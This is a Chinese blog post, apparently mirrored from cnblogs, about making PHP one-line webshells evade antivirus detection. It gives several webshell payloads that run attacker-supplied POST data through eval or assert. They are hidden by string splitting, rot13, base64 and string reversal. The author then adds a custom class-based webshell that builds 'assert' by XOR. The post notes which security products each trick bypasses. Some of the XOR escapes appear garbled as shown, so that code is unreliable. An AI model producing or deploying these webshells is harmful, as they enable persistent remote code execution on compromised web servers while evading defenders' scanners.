zoukankan      html  css  js  c++  java
  • PHP一句话简单免杀

    PHP一句话简单免杀

    原型

    几种已经开源的免杀思路

    • 拆解合并

      <?php
      $ch = explode(".","hello.ev.world.a.l");
      $c = $ch[1].$ch[3].$ch[4]; //eval
      $c($_POST['x']);
      ?>
      
    • rot13加密

      <?php
      $c=str_rot13('n!ff!re!nffreg');
      $str=explode('!',$c)[3];
      $str($_POST['x']);
      ?>
      
    • rot13+base64

      <?php @eval(str_rot13(base64_decode($_POST['ant'])));?>
      
    • rot13+base64+倒序

      <?php @eval(str_rot13(base64_decode(strrev($_POST['ant']))));?>
      
    • 以及自定义蚁剑编码器

    • 经过测试安全狗应该没有对流量进行检测,对其就行编码加密即可绕过,D盾着不行,如果对敏感函数进行简单的重定义函数名,D盾会爆1可疑文件

    自己写的简单webshell

    <?php
    class Test{
        public $name = '';
    	public $YH_asset;	#assert	
    	
    	//assert异或转换
    	function __construct(){
    		$_gwp="Y"^"x38";                           
    		$_uDO="}"^"xe";                            
    		$_ZnM="&"^"x55";                           
    		$_UaW="w"^"x12";                           
    		$_rUJ="b"^"x10";                           
    		$_nND="S"^"x27";                           
    											
    		
    		$this->YH_asset=$_gwp.$_uDO.$_ZnM.$_UaW.$_rUJ.$_nND;
    	}
    	
        function __destruct(){
    	$YH_asset = $this->YH_asset;
    	//assert(_POST['css']);
                  @$YH_asset("$this->name");
        }
    }
    
    $test= new Test();
    $c = @$_POST['css'];
    $test->name = $c;
    ?>
    

    结语

    方法很多,我觉得这个webshell还是太长了,也没有太过细致的研究,之后有时间应该会继续学习下。

  • 相关阅读:
    快速修改elementUI组件样式
    设置占位符颜色!
    缩放屏幕的时候banner被压缩变形!
    less一些用法整理
    CentOS 7 的目录结构介绍
    为什么需要VMware的 快照、克隆?
    虚拟机概述
    Linux的简单介绍
    VMware克隆已安装的虚拟机
    【vim使用】分屏命令、操作分屏
  • 原文地址:https://www.cnblogs.com/Secde0/p/13902819.html
Copyright © 2011-2022 走看看